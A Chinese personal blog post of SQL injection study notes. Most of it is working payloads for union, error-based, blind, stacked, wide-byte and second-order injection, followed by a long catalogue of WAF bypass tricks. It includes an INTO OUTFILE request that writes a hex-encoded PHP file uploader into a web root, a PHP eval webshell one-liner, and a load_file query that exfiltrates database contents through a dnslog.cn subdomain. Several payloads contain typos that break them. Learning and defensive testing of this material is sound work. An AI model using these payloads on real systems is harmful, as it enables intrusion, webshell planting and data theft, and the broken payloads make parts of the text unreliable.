前言
这段时间都没更新,看起来是时候更新下博客了….就记录下最近所学吧…..先出一套SQL注入,信息搜集等后面补充。
SQL注入总结
1.基本原理解析
SQL可分为平台层注入和代码层注入。
平台层注入:由于不安全的数据库配置或数据库平台的漏洞导致。
代码层注入:程序员对输入没有细致的过滤,从而执行了非法的数据查询。
原因:在前后端数据的交互中,前端的数据传到后台处理时,没有做严格的判断,导致其传入的数据拼接到SQL语句中,被当成SQL语句的一部分执行,从而导致数据库受损,信息丢失。
总结:后台服务器接收相关参数未经过过滤直接带入数据库查询。
例子:
比如这是一条前端URL:
https://blog.csdn.net/aboutus.php?id=1
其后台sql语句:
$sql=“SELECT 123 FROM abc WHERE id='1 '"
例如常见的恶意sql构造:
' and 1=2 --+
在后台执行时则会变成这样:
$sql="SELECT 123 FROM abc WHERE id='1' and 1=1 --+ '"
也就是说,实际上执行的代码语句即为:
SELECT 123 FROM abc WHERE id='1' and 1=2 --+ '
而正常应该是:
SELECT 123 FROM abc WHERE id='1'
由于and 1=2中1=2为永假条件,sql将永远无法返回正确的指令
其中:url中?代表传值的意思,id代表变量,等号代表变量的值。
浏览器通常使用 ? 来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数。POST型注入和Cookie注入需要插件和工具才可进行。
2.危害
会造成数据库信息泄露
网站权限
服务端被远程控制,被安装后门
操作文件系统
3.类型与测试方法
1.常见的注入类型
- 1.参数类型分类:
数字型、字符型
1.2.注入类型分类:
联合查询注入、报错注入、基于布尔的盲注、基于时间的盲注、HTTP头注入、宽字节注入、堆叠查询、二阶注入。
2.注入的存在点
- 页面中的输入框
- HTTP头部注入(XFF(原始IP)头部注入)
- COOKIE的key value处注入
- 二次编码注入
3.简单判断
3.1按参数类型
字符型:’ and 1=1 –+(永远的经典)
数字型:3-2(加减法都可以)
3.2对于不返回信息的注入(盲注):
如果不显示报错信息的,可以测试bool盲注测试,通过?id = 1 and 1=1和id = 1 and 1=2判断页面以及数据包和返回码是否不同,或者 延时注入测试and sleep(5),判断是否延时。
4.利用方式
利用
1.绕过登录验证
2.获取用户信息或者后台管理员等敏感信息
3.执行系统命令
4.利用注入进行写文件和读文件
利用SQL注入写文件
union select null,"hacker",null into outfile "D:/www/1.txt" -- -
常见的写入文件问题
--+//注释掉
绝对路径有两种 :
1.D:/www/1.txt
2.D:\\www\1.txt 因为\带有转义的作用
MySQL文件写入的条件:
1.绝对路径
2.必须为最高权限 root不一定为最高权限,可能会被降权
相关防注入
1.存在魔术引号(php安全机制)
magic_quote_gpc (开关在PHP.ini中)
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
addslashes()同样作用
如何解决?进行路径编码(hex)单引号 编码之后可以正常解析
2.内置函数is_int等 (情况不多)判断参数类型是否为整数 运用 点对点(HVV)
3.自定义关键字(如select)
$id=str_replace('select','过滤成的关键字',$id)//大小写可绕过
4.WAF防护软件(大部分机制就是过滤关键字):安全狗,宝塔等
- 利用SQL注入读文件
mysql内置的函数
load_file()//读取函数
into outfile或into dumpfile//导出函数
load_file("D:/www.txt") 值为十六进制的形式
replace()
hex() 将数据转换为十六进制,读的文件内容(保存编码为UTF-8)为中文时转为十六进制,然后再进行解码
union select null,hex(load_file(0x23ac)),null -- -
5.具体分析
1.联合查询注入
特点:联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化,是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会出现报错。
流程:
页面观察
输入id=1和id=2,若页面中值有变化,说明输入与数据库有交互
注入点判断
直接输入?id=1’若有报错则存在注入,开始判断可以从哪里注入,?id=2’1=2–+页面显示不正常,说明此处存在SQL注入,注入点在引号。
接下来开始使用SQL语句进行攻击。
使用order by判断当前表的字段个数
例:
?id=1 order by n –+若n=5 ,如果表少于5列就会报错,说明表中只有n-1列
判断显示位
判断显示位时,要使用 ?id=-1 或者改为0 让前面的select语句查询为空错误,然后采用后面的select语句去查询:
?id=-1’ union select 1,2,3 –+
观察页面在哪里回显我们的输入,就可以用那个地方测试接下的语句。
爆数据库的名字
?id=1’ union select 1,database(),3 –+
在之前回显2的地方会回显database数据库的名字。
爆数据库中的表
?id=1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
数据库语句懒得解释了。
爆表中的字段
?id=1’ union select 1,group_concat(column_name),3 frominformation_schema.column where table_schema=’爆出来的数据库名‘ and table_name=‘爆出来的表名’ –+
爆相应字段的所有数据
?id=-1’ union select 1,group_concat(id,’–‘,username,’–’,password),3 from users –+
具体原理在读书笔记or最前面原理简析已经描述很详细了,不多赘述。
2.报错注入
特点:利用数据库的报错信息得到数据库的内容。因此需要构造语句让数据库报错。
方法:
- group by 重复键冲
and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.table group by x)a) --+
原理:主键重复发生报错。
具体详解:
前置知识:
1.group by :简单理解就是按条件分类合并输出。
2.count():计数用的
3.floor():向下取整
4.rand():随机数
问题出现在rand多次计算
过程:
1.查询前默认会建立空虚拟表
2.取第一条记录,执行floor(rand(0)2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,
3.查询第二条记录,再次计算floor(rand(0)2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕
4.查询第三条记录,再次计算floor(rand(0)2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。
5.整个查询过程floor(rand(0)2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。
备注:rand(0)和rand(1)区别仍需了解
- updatexml()函数
?id=1' and updatexml(1,conncat('^',(需要查询的内容),'^'),1) --+
updatexml(xml_target,xpath_expr,new_xml);
原理:此函数将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml,然后返回更改的XML。
解析:xml_target替换的部分与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配 项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。与extractvalue()类似,如果XPATH写入错误格式, 就会报错,并且返回我们写入的非法内容。
- extractvalue()函数
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+//获取数据库名字
extractvalue(xml_frag,xpath_expr);
原理:函数接受两个参数,第一个为XML标记内容,也就是查询的内容,第二个为XPATH路径,也就是查询的路径。
解析:如果没有匹配的内容,不管出于何种原因,只要路径有效并且查询的内容由正确嵌套和关闭的元素组成,返回空字符串。
但如果路径写入错误格式,就会报错并且返回我们写入的非法内容。
3.回显注入
特点:利用注入漏洞可以改变页面返回数据。
4.堆叠注入
原理:在SQL语句中,语句的结束都是以;结尾,但是如果我们在;后面再加上一条SQL语句,两条语句会一起执行。(只有某些特定的版本才能执行)
?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb')%23
5.基于布尔的盲注
特点:即在页面不显示数据,只显示对错,此时我们输入的语句让页面呈现两种状态,相当于true和false,根据这两种状态判断我们输入的语句是否查询成功。因此需要构造判断语句,根据页面是否回显证实猜想。
一般用到的函数:
- ascii()
- substr()
- length()
- exists()
- concat()
步骤:
判断数据库类型
数据库可能的类型:
- MySQL
- access
- SQL sever
- information_schema.tables
- msysobjects
- sysobjects
判断数据库名(数据库名长度、每个ASCII值)
判断库中的表名(表的个数、每个表名的长度和表名的ASCII)
//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
----由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在users 表中判断
- 判断表中的字段名(字段个数、每个字段名长度、字段名的ASCII值)
爆字段中的数据(字段中的数据长度、数据的ASCII)
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+...........
6.基于时间的盲注
特点:通过返回时间的长短判断。
知识点:
- sleep(5)的意思是延迟五秒。
- if(expr1,expr2,expr3) 若expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
例子:
?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+
此处就是判断数据库名字的第二个字母。
用法类似布尔盲注。
7.HTTP头注入
原理:常见的SQL注入一般是通过请求参数或是表单进行注入,而HTTP头注入是通过HTTP协议头部字段值进行注入。
条件:
能够对请求头信息进行修改
修改的请求头信息能带入数据库进行查询
数据库没有对输入的请求信息做过滤
分类:
user-Agent注入
cookie注入
Referer注入
X-Forwarded-For注入
宽字节注入
详解:
Cookie注入:
COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。GET 再 url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。
在 burpsuite 显示传递的方式。
<?php echo "get ---"; echo $GET['a']; echo "post ---"; echo $POST['b']; echo "cookie ---"; echo $_COOKIE['c'];?>get 在 url 拦即使提交的方法是 post 只要在 url 拦上都可以传递 get post 在正文里提交的方法必须存在 post cookie 有没有 post 都可以。
原理:由于没有过滤cookie中的参数ID且直接拼接到SQL语句中,所以存在SQL注入漏洞。
XFF注入:
X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。
<?php echo "xff---".$_SERVER['HTTP_X_FORWARDED_FOR']; ?>使用 burpsuite X-Forwarded-for: 9.9.9.9 可以随意设置字符串,如果程序中获取这个值再带入数据库查询会造成 SQL 注入。
除了 X-Forwarded-For 还有 HTTP_CLIENT_IP 都可以由客户端控制值,所以服务端接受这两个参数的时候没有过滤会造成 SQL 注入或者更高的危害
原理解析:PHP中的getenv()函数用于获取一个环境变量的值,类似于$_SERVER或$_ENV,返回环境变量对应的值,如果环境变量不存在则返回FALSE。使用以下代码即可获取客户端IP地址,程序先判断是否存在HTTP头部参数HTTP_CLIENT_IP,如果存在,则赋给$ip,如果不存在,则判断是否存在HTTP头部参数HTTP_X_FORWARDED_FOR,如果存在,则赋给$ip,如果不存在,则将HTTP头部参数REMOTE_ADDR赋给$ip。
宽字节注入:
前置知识:
addslashes函数在指定的预定义字符前添加反斜杠。这些字符是单引号(”)、双引号(“”)、反斜线(\)与NUL(NULL字符)。
get_magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“ \”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
当magic_quotes_gpc = On时,系统会自动处理单引号等问题,用不用addslashes()和stripslashes()都没关系,但是如果添加数据时用了addslashes(),那么显示数据时必须要stripslashes()
当magic_quotes_gpc = Off时,系统不会处理单引号等问题,所以插入数据时必须要使用addslashes(),显示数据时则不需要使用stripslashes()。
在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符(自动使用\进行转义)。一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc 前提条件。
简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入
深入讲解:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节字符集解析 SQL 语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100)(即ASCII的反斜杠) 的字符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)
由于输入的’会被转义,也就是自动在’前面增加\,宽字节注入时利用mysql的一个特性,当使用GBK编码的时候(set names ‘GBK’),会认为两个字符是一个汉字,所以在URL中输入%df’经过转移后变为了%df%5c%27,MySQL用GBK的编码时会将%df%2f翻译成一个繁体字,最后留下了’
gpc 绕过过程
%df%27===(addslashes)===>%df%5c%27===(数据库 GBK)===>運’
常见的宽字节
GB2312、GBK、GB18030
sqlmap-宽字节注入
sqlmap.py -u "xxx?id=xx" --tamper unmagicquotes.py --dbspaylaod
http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374宽字节防御原理:
将’转换为 ‘ (当我们输入 ‘ 时,会对其进行转义位 ‘ 导致注入失败)防御代码原理:
1.(包含在函数内)使用 $string = preg_replace(‘/‘.preg_quote(‘').’/‘,”\",$string); 等输入特殊字符进行转移注释,从而阻止sql注入 2.使用addslashes进行转义3.使用mysql_real_escape_string()进行转义
绕过
将 \ 消灭(当mysql使用GBK编码时,会认为两个字符为一个汉字 eg:%df’ 回被翻译为 運’ 可以注入)使用
输入 %df’ 查看是否有宽字节注入点如何防止宽字节注入
1.使用utf-8避免宽字节注入 ps:不仅在gbk中,韩文,日文等都是宽字节,都有可能存在宽字节注入点 2.mysql_real_escape_string,mysql_set_charset(‘gbk’,$conn);防御宽字节注入3.可以设置参数,character_set_client=binary(使用二进制模式进行数据库连接)
产生宽字节注入函数
1.replace():过滤 ‘ \ ,将 ‘ 转化为 ‘ ,将 \ 转为 \,将 “ 转为 “ 。用思路一
2.addslaches():返回在预定义字符之前添加反斜杠()的字符串。
预定义字符:( ‘ , “ , \ )用思路一(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string()
user-Agent注入
Referer注入
更多细节:csdn博客
8.DNSLog注入详解
1.什么是dnslog?
dns服务主要是域名解析服务器将域名转换成ip时,会生成一个日志,主要记录:什么时候请求解析,什么域名,映射出什么ip;
但一般来说是看不到解析日志的,但有开放的平台:dnslog.cn
2. UNC:
UNC全名:universal naming convention,通用命名规则。其实是网络上的资源的格式,在Windows里使用。
3.mysql读写函数:
(mysql可以读写文件的。)
4. 配置:
secure_file_priv的配置值分三种——
指定文件夹:读写导入导出只能发生在指定文件夹
不设置:不允许执行
null:无限制
5. 读取文件过程:
读文件:LOAD_FILE()
限制:只能本机的文件且文件有读取权限,且字节数小于max_allowed_packet
判断文件有无读取权限:
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限如果返回错误,应该是管理员给数据库账户降权。如果文件不存在或者不能被读出,函数返回空。在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想 load_file 出来。
用法:select LOAD_FILE(‘E:\in.txt’);
两个难点:
- 绝对的物理路径
- 构造有效的畸形语句(报错出绝对路径)
在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露
WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务器的安全将受到严重的威胁。
常用路径:http://www.cnblogs.com/lcamry/p/5729087.html
读取示例:
6. 将文件导入进数据库:
LOAD DATA INFILE语句用于高速从一个文本文件中读取行并装入一个表中。文件名称必须为一个文字字符串。
示例:
load data infile ‘/temp/t0.txt’ ignore into table t0 character set gbk fields terminated by ‘\t’ lines terminated by ‘\n’
含义:将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符。
注:当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑/tmp 等文件夹。
7. 导入到文件
格式:SELECT … INTO OUTFILE ‘file_name’
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE权限,才能使用此语法。file_name 不能是一 个已经存在的文件。
两种利用形式:
- 直接将select内容导入到文件中
select ... into outfile "c:\\phpnow\\htdocs\\test.php"/*此处的...可以是一个函数如version()也可以是一句话如:<?php @eval($_post["111"]) ?>,或者其他内容
- 修改文件结尾
select version() into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16
解释:select * from * limit 0,1 into outfile ‘/wamp/www/tmpulujm.php’的意思是将内容输入到outfile中。
LINES TERMINATED BY则是into outfile的参数,意思是行结尾的时候用by后面的内容,通常的一般为‘/r/n’,此处我们将by后的内容修改为后面的16进制的文件。16 进制可以为一句话或者其他任何的代码,可自行构造。
例如:
http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -
在 sqlmap 中 os-shell 采取的就是这样的方式,具体可参考 os-shell 分析文章:http://www.cnblogs.com/lcamry/p/5505110.html
DNSlog注入流程:
把select LOAD_FILE()注入到数据库访问日志文件
UNC构建DNS服务器地址(其实就是服务器子域名),假装访问文件,产生DNSLog
select load_file('aaa.yourid.dnslog.cn/byh');四个斜杠其实本来只有两个,还有两个是防止转义,/byh不能缺少,不然不是一个标准的路径
把子域名替换成函数或者查询SQL
select if((select load_file(concat('',database(),'yourid.dnslog.cn/byh'))),1,0);#其实就是把aaa换成了database()
最后我们使用的平台就会显示解析日志,在日志里就能看到查询的内容。
9.二次注入攻击
定义:二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤后会添加“\”进行转义,但是“\” 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
打靶过程:csdn博客
SQL 注入绕过学习笔记
空格字符绕过
两个空格代替一个空格,用 Tab 代替空格,%a0=空格
%20 %09 %0a %0b %0c %0d %a0 %00 // /!/
select * from users where id=1 /!union//!select/1,2,3,4;
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
可以将空格字符替换成注释 // 还可以使用 /!这里的根据 mysql 版本的内容不注释/
大小写绕过
将字符串设置为大小写,例如and1=1 转成AND1=1AnD1=1
select * from users where id=1 UNION SELECT 1,2,3,4; select * from users where id=1 UniON SelECT 1,2,3,4;
http://192.168.0.101:7766/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,us er(),3%0Aand%0A%271
http://192.168.0.145:7766/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(Se ,3 and ‘1)lEct%09group_concat(username,password)from%09users),3%09and%20%271,3 and ‘1)
过滤空格可以用%0 代替也过滤# – 注释用字符串匹配
浮点数绕过注入
select * from users where id=8E0union select 1,2,3,4;
id=8.0union select 1,2,3,4;
NULL 值绕过
select \N; 代表 null
select * from users where id=\Nunion select 1,2,3,\N; select * from users where id=\Nunion select 1,2,3,\Nfrom users;
引号绕过
如果 waf 拦截过滤单引号的时候,可以使用双引号在 mysql 里也可以用双引号作为字符串。
select * from users where id=’1’; select * from users where id=”1”;
也可以将字符串转换成 16 进制再进行查询。
select hex(‘admin’); select * from users where username=’admin’; select * from users where username=0x61646D696E;
如果 gpc 开启了,但是注入点是整形也可以用 hex 十六进制进行绕过
select * from users where id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME=’users’ limit 1),4;
select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;
添加库名绕过
以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则并不会拦截[库名].[表名]这种模式。
id=-1 union select 1,2,3,4 from users;
select * from users where id=-1 union select 1,2,3,4 from system.users;
mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。
select * from users where id=-1 union select 1,2,3,concat(user,authentication_string) from mysql.user;
去重复绕过
在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截
select * from users where id=-1 union distinct select 1,2,3,4 from users;
select * from users where id=-1 union distinct select 1,2,3,version() from users;
反引号绕过
在 mysql 可以使用 这里是反引号 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。
insert into users(username,password,email)values(‘system’,’123456’,‘admin@system.com‘);
insert into users(username,password,email)values(‘moonsec’,’123456’,‘admin@system.com‘)
min 截取字符串
这个 min 函数跟 substr 函数功能相同如果 substr 函数被拦截或者过滤可以使用这个函数代替。
select mid(database() from 1 for 1); 这个方法如上。
select * from users where id=1 and ‘m’=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));
使用 join 绕过使用 join 自连接两个表
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b a 和 b 分别是表的别名
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select user())c join(select 4)d;
like 绕过
使用 like 模糊查询 select user() like ‘%r%’; 模糊查询成功返回 1 否则返回 0
找到第一个字符后继续进行下一个字符匹配。
从而找到所有的字符串最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。
limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1 返回条一条记录如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。
or and xor not 绕过
主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2
id=0 xor 1=1 limit 1 、id=1 xor 1=2
对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替字符如下
and 等于&& or 等于 || not 等于 ! xor 等于|
所以可以转换成这样
id=1 and 1=1 等于 id=1 && 1=1 id=1 and 1=2 等于 id=1 && 1=2 id=1 or 1=1 等于 id=1 || 1=1 id=0 or 1=0 等于 id=0 || 1=0
可以绕过一些 waf 拦截继续对注入点进行安全检测也可以使用运算符号
id=1 && 2=1+1 id=1 && 2=1-1
ascii 字符对比绕过
许多 waf 会对 union select 进行拦截而且通常比较变态,那么可以不使用联合查询注入,可以使用字符截取对比法,进行突破。
select substring(user(),1,1);
select * from users where id=1 and substring(user(),1,1)=’r’; select * from users where id=1 and ascii(substring(user(),1,1))=114;
最好把’r’换成成 ascii 码如果开启 gpc int 注入就不能用了。
可以看到构造得 SQL 攻击语句没有使用联合查询(union select)也可以把数据查询出来。
等号绕过
如果程序会对=进行拦截可以使用 like rlike regexp 或者使用<或者>
select * from users where id=1 and ascii(substring(user(),1,1))<115; select * from users where id=1 and ascii(substring(user(),1,1))>115;
select * from users where id=1 and (select substring(user(),1,1)like ‘r%’); select * from users where id=1 and (select substring(user(),1,1)rlike ‘r’);
select * from users where id=1 and 1=(select user() regexp ‘^r’); select * from users where id=1 and 1=(select user() regexp ‘^a’); regexp 后面是正则
双关键词绕过
有些程序会对单词 union、 select 进行转空但是只会转一次这样会留下安全隐患。
双关键字绕过(若删除掉第一个匹配的 union 就能绕过)
id=-1’UNIunionONSeLselectECT1,2,3–+ 到数据库里执行会变成 id=-1’UNION SeLECT1,2,3–+ 从而绕过注入拦截。
1.20.20. 二次编码绕过
有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,waf 是不会拦截的。
-1 union select 1,2,3,4#
第一次转码
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32
%2c%33%2c%34%23
第二次转码
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%2 5%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%
36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33
%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
二次编码注入漏洞分析在源代码中已经开启了 gpc 对特殊字符进行转义
代码里有 urldecode 这个函数是对字符 url 解码,因为两次编码 GPC 是不会过滤的,所以可以绕过 gpc 字符转义,这样也就绕过了 waf 的拦截。
多参数拆分绕过
多余多个参数拼接到同一条 SQL 语句中,可以将注入语句分割插入。
例如请求 get 参数
a=[input1]&b=[input2] 可以将参数 a 和 b 拼接在 SQL 语句中。
在程序代码中看到两个可控的参数,但是使用 union select 会被 waf 拦截
那么可以使用参数拆份请求绕过 waf 拦截
-1’union/&username=/select 1,user(),3,4–+
两个参数的值可以控,分解 SQL 注入关键字可以组合一些 SQL 注入语句突破 waf 拦截。
使用生僻函数绕过
使用生僻函数替代常见的函数,例如在报错注入中使用 polygon()函数替换常用的 updatexml()函数
select polygon((select * from (select * from (select @@version) f) x));
19.信任白名单绕过
有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可以利用这个特点,可以试试白名单绕过。
白名单通常有目录
/admin
/phpmyadmin/admin.php
http://192.168.0.115/06/vul/sqli/sqli_str.php?a=/admin.php&name=vince+&submit=1 http://192.168.0.165/06/vul/sqli/sqli_str.php/phpmyadmin?name=%27%20union%20s elect%201,user()--+&submit=1
20.静态文件绕过
除了白名单信任文件和目录外,还有一部分 waf 并不会对静态文件进行拦截。例如图片文件 jpg 、png 、gif 或者 css 、js 会对这些静态文件的操作不会进行检测从而绕过 waf 拦截。
/1.jpg&name=vince+&submit=1
/1.jpg=/1.jpg&name=vince+&submit=1
/1.css=/1.css&name=vince+&submit=1